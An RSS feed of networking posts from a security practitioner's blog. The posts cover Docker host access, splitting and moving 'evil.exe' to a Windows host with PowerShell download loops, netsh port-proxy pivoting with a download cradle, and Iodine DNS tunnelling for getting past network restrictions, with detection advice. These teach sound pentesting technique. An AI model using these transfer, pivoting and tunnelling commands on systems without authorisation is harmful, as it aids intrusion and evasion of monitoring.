<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Networking on David Hamann</title><link>https://davidhamann.de/tags/networking/</link><description>Recent content in Networking on David Hamann</description><generator>Hugo</generator><language>en</language><copyright>&amp;copy; David Hamann</copyright><lastBuildDate>Sun, 11 Oct 2020 00:00:00 +0000</lastBuildDate><atom:link href="https://davidhamann.de/tags/networking/feed.xml" rel="self" type="application/rss+xml"/><item><title>Connecting to a host service from within a container using Docker for Mac</title><link>https://davidhamann.de/2020/10/11/connect-to-docker-host-macos/</link><pubDate>Sun, 11 Oct 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/10/11/connect-to-docker-host-macos/</guid><description>&lt;h3 id="tldr"&gt;TL;DR&lt;/h3&gt;
&lt;p&gt;Use &lt;code&gt;host.docker.internal&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;When you are running Docker on Linux and want to access services on the host from within a container, you can make use of the &lt;code&gt;docker0&lt;/code&gt; bridge interface (&lt;code&gt;ip a s docker0&lt;/code&gt;). This does not work when running Docker for Mac as the interface is inside a separate virtual machine (which you can confirm by getting a shell in that vm: &lt;code&gt;screen ~/Library/Containers/com.docker.docker/Data/vms/0/tty&lt;/code&gt;) and thus not visible on the local host.&lt;/p&gt;
&lt;p&gt;To workaround this, a reliable way to get to the macOS host is to use the &lt;code&gt;host.docker.internal&lt;/code&gt; DNS name which will always resolve to an IP where the host is reachable.&lt;/p&gt;
&lt;h3 id="example"&gt;Example&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s say you want to run some script in the container that connects to a specific HTTP target and want to observe the requests through a proxy running on your macOS machine (e.g. Burp). Then you would do:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Run some container
docker run -it alpine:latest /bin/sh

# ... install the dependencies for your script ...
# then run the script and target your local (!) intercept proxy
python3 exploit.py http://host.docker.internal:8081/whatever

# now observe the request in the proxy application running on the host
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="Capturing the request" loading="lazy" src="https://davidhamann.de/images/docker-mac-host-proxy.png"&gt;&lt;/p&gt;</description></item><item><title>Splitting a binary into chunks on Linux, and re-combining them on Windows</title><link>https://davidhamann.de/2020/09/09/split-binary-file-chunks/</link><pubDate>Wed, 09 Sep 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/09/09/split-binary-file-chunks/</guid><description>&lt;p&gt;Recently, I needed to transfer a binary over a very limited network connection allowing only small packets to be sent. I ended up splitting the binary into pieces on my Linux box and reassembled the pieces on the target Windows host.&lt;/p&gt;
&lt;p&gt;If, for some reason, you cannot use easier means like IP fragmentation and work with a smaller maximum transfer unit (MTU), here&amp;rsquo;s how to do the splitting and re-combining.&lt;/p&gt;
&lt;h2 id="split-binary-into-pieces-on-linux"&gt;Split binary into pieces on Linux&lt;/h2&gt;
&lt;p&gt;Splitting a file into pieces on Linux is very straightforward – just use the &lt;code&gt;split&lt;/code&gt; program (&lt;a href="https://man7.org/linux/man-pages/man1/split.1.html"&gt;man&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The following command will split &lt;code&gt;evil.exe&lt;/code&gt; into pieces of 1000 bytes, prefix them with &lt;code&gt;chunk&lt;/code&gt; and use a numeric suffix for each chunk.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;split -b 1000 -d evil.exe chunk
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So we will end up with something like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;chunk00 chunk16 chunk32 chunk48
chunk01 chunk17 chunk33 chunk49
chunk02 chunk18 chunk34 chunk50
chunk03 chunk19 chunk35 chunk51
chunk04 chunk20 chunk36 chunk52
chunk05 chunk21 chunk37 chunk53
chunk06 chunk22 chunk38 chunk54
chunk07 chunk23 chunk39 chunk55
chunk08 chunk24 chunk40 chunk56
chunk09 chunk25 chunk41 chunk57
chunk10 chunk26 chunk42 chunk58
chunk11 chunk27 chunk43 chunk59
chunk12 chunk28 chunk44
chunk13 chunk29 chunk45
chunk14 chunk30 chunk46
chunk15 chunk31 chunk47
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now that we have our chunks, we can host them for the Windows machine to download.&lt;/p&gt;
&lt;h2 id="download-from-windows"&gt;Download from Windows&lt;/h2&gt;
&lt;p&gt;To download the individual chunks to the Windows host, let&amp;rsquo;s use a quick PowerShell one-liner with Invoke-WebRequest:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;.59&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="p"&gt;%&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;$chunk&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;chunk{0:d2}&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;-f&lt;/span&gt; &lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;iwr &lt;/span&gt;&lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$chunk&lt;/span&gt; &lt;span class="n"&gt;-outfile&lt;/span&gt; &lt;span class="nv"&gt;$chunk&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="notice notice-info"&gt;
 If all you have is a command prompt and cannot download the chunks directly, one idea is to convert the binary chunks into hex strings and then send these strings through the prompt of the shell you might have.
&lt;/div&gt;

&lt;h2 id="combine-the-chunks"&gt;Combine the chunks&lt;/h2&gt;
&lt;p&gt;Now that we have all pieces to the puzzle, let&amp;rsquo;s assemble them into the self-contained binary we actually want, with &lt;code&gt;Get-ChildItem&lt;/code&gt;, &lt;code&gt;Get-Content&lt;/code&gt; and &lt;code&gt;Set-Content&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;gci &lt;/span&gt;&lt;span class="n"&gt;-Filter&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;chunk*&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;gc &lt;/span&gt;&lt;span class="n"&gt;-Enc&lt;/span&gt; &lt;span class="n"&gt;Byte&lt;/span&gt; &lt;span class="n"&gt;-Read&lt;/span&gt; &lt;span class="mf"&gt;1000&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;sc &lt;/span&gt;&lt;span class="n"&gt;evil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;-Enc&lt;/span&gt; &lt;span class="n"&gt;Byte&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Doing a &lt;code&gt;Get-FileHash evil.exe&lt;/code&gt; on the Windows host should now return the same hash as &lt;code&gt;shasum -a 256 evil.exe&lt;/code&gt; on Linux.&lt;/p&gt;</description></item><item><title>Reading sniffed SSL/TLS traffic from curl with Wireshark</title><link>https://davidhamann.de/2019/08/06/sniffing-ssl-traffic-with-curl-wireshark/</link><pubDate>Tue, 06 Aug 2019 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2019/08/06/sniffing-ssl-traffic-with-curl-wireshark/</guid><description>&lt;p&gt;If you want to debug/inspect/analyze SSL/TLS traffic made by &lt;a href="https://curl.haxx.se"&gt;curl&lt;/a&gt;, you can easily do so by setting the environment variable &lt;code&gt;SSLKEYLOGFILE&lt;/code&gt; to a file path of your choice (for storing the secrets), and then point Wireshark to use this file.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s see how:&lt;/p&gt;
&lt;p&gt;In Wireshark, go to &lt;code&gt;Edit -&amp;gt; Preferences -&amp;gt; Protocols -&amp;gt; SSL -&amp;gt; (Pre)-Master-Secret log filename&lt;/code&gt;, and set the path:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Wireshark settings" loading="lazy" src="https://davidhamann.de/images/wireshark-ssl-settings.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Then start the Wireshark capture.&lt;/p&gt;
&lt;p&gt;In your shell, you can now set the environment variable and make a request:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ SSLKEYLOGFILE=/my/path/to/file.log curl https://example.com
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(&lt;code&gt;export&lt;/code&gt; the variable if you want it to be available to all apps in your current session)&lt;/p&gt;
&lt;p&gt;In Wireshark, you should now be able to see the decrypted traffic:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Wireshark traffic" loading="lazy" src="https://davidhamann.de/images/wireshark-ssl-traffic.jpg"&gt;&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 &lt;strong&gt;Version note:&lt;/strong&gt; I used curl 7.65.1 with OpenSSL.
&lt;/div&gt;
</description></item><item><title>Pivoting: Setting up a port proxy with netsh on Windows</title><link>https://davidhamann.de/2019/06/20/setting-up-portproxy-netsh/</link><pubDate>Thu, 20 Jun 2019 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2019/06/20/setting-up-portproxy-netsh/</guid><description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: Pivot by setting up a portproxy between your machine and a machine in another network using &lt;code&gt;netsh interface portproxy add v4tov4 listenport=&amp;lt;port in&amp;gt; connectport=&amp;lt;port out&amp;gt; connectaddress=&amp;lt;destination&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img alt="netsh splash" loading="lazy" src="https://davidhamann.de/images/netsh-splash.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s say machine A has access to a Windows machine, B, which has an additional interface configured to reach machines in another (internal) network, including machine C. As our machine A cannot directly talk to machine C and vice versa, what can we do to pick up files hosted on our machine A from machine C, or do further reconnaissance of C from A?&lt;/p&gt;
&lt;p&gt;One quick and easy way is to configure a &amp;ldquo;portproxy&amp;rdquo; on machine B, which listens on a specified port and sends incoming traffic on to machine C or A (depending on the use case). Let&amp;rsquo;s have a look on how to do that for an IPv4 to IPv4 configuration.&lt;/p&gt;
&lt;p&gt;For this example we have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A at 192.168.1.2&lt;/li&gt;
&lt;li&gt;B at 192.168.1.3 and 10.10.10.3&lt;/li&gt;
&lt;li&gt;C at 10.10.10.4&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="setup-on-machine-b"&gt;Setup on machine B&lt;/h2&gt;
&lt;p&gt;On machine B, execute the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;netsh interface portproxy add v4tov4 listenport=1337 connectport=8000 connectaddress=192.168.1.2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, we are setting up a portproxy that will listen on port 1337 and send the received data to the &lt;code&gt;connectaddress&lt;/code&gt; (A) on port &lt;code&gt;8000&lt;/code&gt;. This is done via a separate TCP connection, as you can observe via Wireshark.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s verify the setting looks good with &lt;code&gt;netsh interface portproxy show v4tov4&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Listen on IPv4: Connect to IPv4:

Address Port Address Port
--------------- ---------- --------------- ----------
* 1337 192.168.1.2 8000
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note that the portproxy config will be stored in the registry, so this is the place where you can detect persistent portproxies without using netsh.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp

*/1337 : 192.168.1.2/8000
...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To be able to try it out, let&amp;rsquo;s poke a hole into our firewall (still on B):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;netsh advfirewall firewall add rule name=&amp;#34;Proxy all the things&amp;#34; dir=in action=allow protocol=TCP localport=1337
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="setup-on-machine-a-for-hosting"&gt;Setup on machine A for hosting&lt;/h2&gt;
&lt;p&gt;On our machine A we will now start a webserver and host a file:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;python3 -m http.server 8000&lt;/code&gt; in a directory with a &lt;code&gt;test.txt&lt;/code&gt; containing &lt;code&gt;Hello from A&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="fetch-from-machine-c"&gt;Fetch from machine C&lt;/h2&gt;
&lt;p&gt;On our machine C let&amp;rsquo;s write up a short download cradle to fetch and then output the file&amp;rsquo;s content from machine A:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;powershell.exe -c echo (New-Object Net.WebClient).DownloadString(&amp;#39;http://10.10.10.3:1337/test.txt&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Machine C will now reach out to B (10.10.10.3) on port 1337, which will reach out to A on port 8000 to fetch &lt;code&gt;test.txt&lt;/code&gt;. We can see a hit from 192.168.1.3 in our Python webserver console and the results of &lt;code&gt;test.txt&lt;/code&gt; printed on machine C.&lt;/p&gt;
&lt;p&gt;Naturally, this also works in the other direction (A reaching C through B). Just set up the the right &lt;code&gt;connectaddress&lt;/code&gt; and &lt;code&gt;connectport&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To remove the portproxy, you can use &lt;code&gt;delete v4tov4&lt;/code&gt; like so:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;netsh interface portproxy delete v4tov4 listenport=1337
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And to remove the firewall rule again:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;netsh advfirewall firewall delete rule name=&amp;#34;Proxy all the things&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 Note that you may get a deprecation warning when using &lt;code&gt;netsh&lt;/code&gt; on modern systems. Unfortunately, I haven&amp;rsquo;t found a simple way/Cmdlet to setup a portproxy in PowerShell. Do you know how? Please let me know.
&lt;/div&gt;
</description></item><item><title>Tunneling network traffic over DNS with Iodine and a SSH SOCKS proxy</title><link>https://davidhamann.de/2019/05/12/tunnel-traffic-over-dns-ssh/</link><pubDate>Sun, 12 May 2019 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2019/05/12/tunnel-traffic-over-dns-ssh/</guid><description>&lt;p&gt;&lt;img alt="dns tunnel splash" loading="lazy" src="https://davidhamann.de/images/dns-tunnel-splash.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Accessing the internet via restricted networks can be a pain. But so can be securing a network and putting those restrictions in place. Let&amp;rsquo;s have a look at how DNS tunneling can in some cases allow getting data in and out, when regular access is blocked or otherwise restricted, but DNS queries work.&lt;/p&gt;
&lt;p&gt;Seeing this technique in action can help you understand how unauthorized users could get around your security measures and use less monitored channels for communication (e.g. for malware command and control), or may come in handy when doing an attack simulation yourself. In addition, it&amp;rsquo;s a fun way to mess with captive portals which often kind of &amp;ldquo;man-in-the-middle&amp;rdquo; your connection to direct you to a sign-up page, but still let you resolve names in any state.&lt;/p&gt;
&lt;p&gt;I always wanted to set up something like this since I first read about the technique. Today, I finally did and want to document the process.&lt;/p&gt;
&lt;h2 id="how-does-it-work"&gt;How does it work?&lt;/h2&gt;
&lt;p&gt;In a nutshell: what we want to do is tunnel IPv4 network packets over DNS, using the hostname to send data (via a DNS query) and a record type, e.g. NULL*, TXT or other record for transporting the response, meaning we will have DNS queries in a format like &lt;code&gt;&amp;lt;encoded data&amp;gt;.x.domain.com&lt;/code&gt; for our upstream and the DNS response for our downstream.&lt;/p&gt;
&lt;p&gt;For the whole thing to work, we need control over a domain and be able to edit the zone file. In addition to that, we need a server that we can point our address record (A) to and that will do the communication for/with us.&lt;/p&gt;
&lt;p&gt;Due to the size limitations of DNS records, we shouldn&amp;rsquo;t expect to get blazingly fast data transfer rates, but any connection is better than none. Note that due to these limitations, the domain and subdomain should be as &lt;em&gt;short&lt;/em&gt; as possible to leave as &lt;em&gt;much&lt;/em&gt; as possible room for the actual data.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 &lt;em&gt;* A NULL record has the advantage of being able to transfer a lot more information. Please also see the section &lt;strong&gt;Operational info&lt;/strong&gt; in the &lt;a href="https://github.com/yarrick/iodine"&gt;README&lt;/a&gt; of Iodine (the tool we are going to use).&lt;/em&gt;
&lt;/div&gt;

&lt;h2 id="iodine"&gt;Iodine&lt;/h2&gt;
&lt;p&gt;Most of the work in this setup will be done by a tool called &lt;a href="https://code.kryo.se/iodine/"&gt;Iodine&lt;/a&gt; by kyro.se.&lt;/p&gt;
&lt;p&gt;It has a server and client component and it is recommended to run the same version on both ends. I will use the latest master, which currently points to commit &lt;code&gt;27e5d6f&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Iodine will take care of sending (client) and answering (server) the DNS queries, plus handle fragmentation, compression, encoding, record type to use, etc., and perform a lot of other magic behind the scenes. We essentially only need to take care of starting both the server and the client tool.&lt;/p&gt;
&lt;p&gt;For more detailled information or troubleshooting have a look at the README and the code &lt;a href="https://github.com/yarrick/iodine"&gt;hosted at GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="prerequisites"&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;To summarize the prerequisites again, we need:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Control over a domain&lt;/li&gt;
&lt;li&gt;A server (preferrably with a static IP)&lt;/li&gt;
&lt;li&gt;A client (for example your computer)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I used an Ubuntu 18 server and Kali Linux 2019.1 as client. As mentioned above, the version of Iodine we are going to compile is from commit &lt;code&gt;27e5d6f&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="the-setup"&gt;The setup&lt;/h2&gt;
&lt;h3 id="building-iodine"&gt;Building Iodine&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s clone Iodine, make and install it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git clone https://github.com/yarrick/iodine.git
make
make install
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Which gives us the executables &lt;code&gt;/usr/local/sbin/iodined&lt;/code&gt; or &lt;code&gt;/usr/local/sbin/iodine&lt;/code&gt;, respectively. &lt;code&gt;iodined&lt;/code&gt; will be our server component, &lt;code&gt;iodine&lt;/code&gt; our client component.&lt;/p&gt;
&lt;p&gt;Run &lt;code&gt;iodined -v&lt;/code&gt; and &lt;code&gt;iodine -v&lt;/code&gt; to check your versions.&lt;/p&gt;
&lt;h3 id="dns-zone-setup"&gt;DNS zone setup&lt;/h3&gt;
&lt;p&gt;We will have to create two records in our zone. A NS record and an A record pointing to our server.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Name | Type | Value
----------------------------------------------------
x.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt;. | NS | xns.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt;.
xns.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt;. | A | &amp;lt;server ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;&amp;lt;domain&amp;gt;&lt;/code&gt; is the domain we control, &lt;code&gt;&amp;lt;server ip&amp;gt;&lt;/code&gt; is the IP of the server where we will run &lt;code&gt;iodined&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can name your subdomain as you like, but remember to keep it as short as possible.&lt;/p&gt;
&lt;h3 id="server-setup"&gt;Server setup&lt;/h3&gt;
&lt;p&gt;At this point we should have a fresh server install and on it the Iodine version we&amp;rsquo;ve built above. Also, inbound ports for SSH (TCP 22) and DNS (UDP 53) should be open.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s ssh into the server and start iodined.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ssh -i key.pem user@host
sudo iodined -f &amp;lt;tunnel ip&amp;gt; x.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt;

Enter password: xxxx
Opened dns0
Setting IP of dns0 to 10.10.10.1
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Opened IPv6 UDP socket
Listening to dns for domain x.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;-f&lt;/code&gt; will keep it running in the foreground. For the tunnel IP, specify an internal IP you want to use. I chose 10.10.10.1.&lt;/p&gt;
&lt;p&gt;After starting iodined, you should be asked to set a password. Enter it and remember it for later when starting the client.&lt;/p&gt;
&lt;p&gt;If you like, you can now test your server setup via the &lt;a href="https://code.kryo.se/iodine/check-it/"&gt;troubleshooting tool provided by kyro.se&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="iodine check tool" loading="lazy" src="https://davidhamann.de/images/iodine-check-tool.png"&gt;&lt;/p&gt;
&lt;h3 id="client-setup"&gt;Client setup&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s head over to our client machine and startup &lt;code&gt;iodine&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;iodine -f -P &amp;lt;password&amp;gt; x.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;For now, let&amp;rsquo;s keep all the options at their default setting, and only specify the password with &lt;code&gt;-P&lt;/code&gt;. However, if you&amp;rsquo;re testing in an environment where &amp;ldquo;anything goes&amp;rdquo;, you may want to specify &lt;code&gt;-r&lt;/code&gt; to make sure to use DNS tunneling over raw UDP tunneling (otherwise Iodine will try to detect if this is possible and switch over).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Opened dns0
Opened IPv4 UDP socket
Sending DNS queries for x.&amp;lt;domain&amp;gt;.&amp;lt;tld&amp;gt; to &amp;lt;local nameserver&amp;gt;
Autodetecting DNS query type (use -T to override).
Using DNS type NULL queries
Version ok, both using protocol v 0x00000502. You are user #0
Setting IP of dns0 to 10.10.10.2
Setting MTU of dns0 to 1130
Server tunnel IP is 10.10.10.1
Skipping raw mode
Using EDNS0 extension
Switching upstream to codec Base128
Server switched upstream to codec Base128
No alternative downstream codec available, using default (Raw)
Switching to lazy mode for low-latency
Server switched to lazy mode
Autoprobing max downstream fragment size... (skip with -m fragsize)
768 ok.. 1152 ok.. ...1344 not ok.. ...1248 not ok.. ...1200 not ok.. 1176 ok.. 1188 ok.. will use 1188-2=1186
Setting downstream fragment size to max 1186...
Connection setup complete, transmitting data.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A simple first thing to check is, if we can ping the tunnel IP (in this case 10.10.10.1). There should also be a new interface &lt;code&gt;dns0&lt;/code&gt; (&lt;code&gt;ifconfig&lt;/code&gt;) with an assigned IP from the tunnel subnet (here: 10.10.10.2). Sniffing on the default interface (for example &lt;code&gt;eth0&lt;/code&gt;) we can now see the (potentially, lots of) DNS queries, more specifically, NULL queries in our case.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 In case you&amp;rsquo;re getting &lt;code&gt;iodine: BADIP: Server rejected sender IP address...&lt;/code&gt;, you can try to pass &lt;code&gt;-c&lt;/code&gt; to the server command to check if &lt;em&gt;&amp;ldquo;disabling the check of client IP/port on each request&amp;rdquo;&lt;/em&gt; (see &lt;a href="https://github.com/yarrick/iodine#server-side"&gt;README#server-side&lt;/a&gt;) will solve these issues.
&lt;/div&gt;

&lt;h2 id="using-a-socks-proxy-to-secure-our-traffic"&gt;Using a SOCKS proxy to secure our traffic&lt;/h2&gt;
&lt;p&gt;The traffic that we are sending over DNS is not encrypted. What we can do to change that, is to open a SSH connection via the DNS tunnel and use it as a SOCKS proxy (so, a tunnel within the tunnel).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ssh -ND 31337 -i key.pem user@10.10.10.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I didn&amp;rsquo;t use placeholders here to better show which IP to use. The 10.10.10.1 is the tunnel IP which we have specified when starting &lt;code&gt;iodined&lt;/code&gt; on the server, 31337 is the port to be used for the local socket. Choose any port you like &amp;gt;= 1024.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-N&lt;/code&gt; specifies that we do not want to execute a remote command (we just need the port forwarding). &lt;code&gt;-D&lt;/code&gt; lets us do the port forwarding so that SSH can act as our SOCKS server.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s do a quick test by curling a service that echoes back our IP:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;curl -x socks5h://127.0.0.1:31337 http://httpbin.org/ip&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;It should give back the address of the server, not of our client (do a quick check with and without the tunnel).&lt;/p&gt;
&lt;p&gt;If the curl request times out, you may have a problem with the name resolution. For debugging purposes, try to curl an IP instead of a hostname or see if it works when using &lt;code&gt;socks5://&lt;/code&gt; (without the &lt;strong&gt;h&lt;/strong&gt;; this will do the name resolution on your client, rather than on the server). If it does, check if something is wrong with your &lt;code&gt;/etc/resolv.conf&lt;/code&gt; on the server (you could try to set another &lt;code&gt;nameserver&lt;/code&gt;, e.g. via the &lt;code&gt;resolveconf&lt;/code&gt; package).&lt;/p&gt;
&lt;h3 id="using-a-browser-or-any-other-app"&gt;Using a browser (or any other app)&lt;/h3&gt;
&lt;p&gt;Any application that allows us to specify a SOCKSv5 proxy, can now be configured to use this tunnel. Here&amp;rsquo;s an example for Firefox:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Firefox proxy settings" loading="lazy" src="https://davidhamann.de/images/firefox-proxy-settings.png"&gt;&lt;/p&gt;
&lt;h2 id="tunnel-everything"&gt;Tunnel everything&lt;/h2&gt;
&lt;p&gt;For cases where a SOCKS proxy is not feasable or where we want to tunnel everything from our machine, using a VPN should be considered.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re looking for information on how to set up the natting on the server and routes on the client to send everything (unencrypted) over the dns0 interface, check out &lt;a href="https://gist.github.com/calzoneman/f9d0e5f023026e6a85c9"&gt;this gist&lt;/a&gt; (&lt;a href="https://web.archive.org/web/20170911163816/https://gist.github.com/calzoneman/f9d0e5f023026e6a85c9"&gt;archived&lt;/a&gt;) by calzoneman.&lt;/p&gt;
&lt;p&gt;It boils down to:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i eth0 -o dns0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i dns0 -o eth0 -j ACCEPT

route add &amp;lt;server ip&amp;gt; gw &amp;lt;default gateway on client network&amp;gt;
ip route del default via &amp;lt;default gateway on client network&amp;gt;
ip route add default via &amp;lt;tunnel ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Again, easy to check if it&amp;rsquo;s working by doing &lt;code&gt;curl http://httpbin.org/ip&lt;/code&gt; (this time without the proxy) or sniffing on the &lt;code&gt;dns0&lt;/code&gt; interface.&lt;/p&gt;
&lt;h2 id="detection-and-prevention"&gt;Detection and Prevention&lt;/h2&gt;
&lt;p&gt;How can you detect and/or prevent this kind of tunneling? I haven&amp;rsquo;t actively looked into this, but a few things may work for detection or prevention:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Detection based on amount, size, host-naming and type of DNS queries from regular clients. The traffic will surely statistically stand out.&lt;/li&gt;
&lt;li&gt;In general, the amount of traffic over port 53 from individual clients should stand out (if used for regular browsing and not just sending/receiving a few commands)&lt;/li&gt;
&lt;li&gt;Disallowing internal DNS servers to resolve to external addresses and do the external resolution only through a proxy should prevent this technique&lt;/li&gt;
&lt;li&gt;In the case of captive portals, resolving external addresses only after sign-up may work. But then again, there are also other ways for getting around the captive portal, e.g. capturing and then assuming an already signed-up MAC address (which requires much less preparation)&lt;/li&gt;
&lt;li&gt;Blocking certain domains/IP blocks/regions is surely always possible, but ineffective if the other end could potentially be anywhere.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Debugging stories: What's that 404 error?</title><link>https://davidhamann.de/2018/10/07/little-story-404-mobile-access/</link><pubDate>Sun, 07 Oct 2018 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2018/10/07/little-story-404-mobile-access/</guid><description>&lt;p&gt;Here is a little story about resolving an issue with a web site that turned out not to be an issue with a web site :-)&lt;/p&gt;
&lt;p&gt;A client approached me and asked, if I could look into an issue they were having with their web app. Multiple users, mainly from mobile devices, were reporting &lt;code&gt;404 Not Found&lt;/code&gt; errors when accessing the site&amp;rsquo;s domain.&lt;/p&gt;
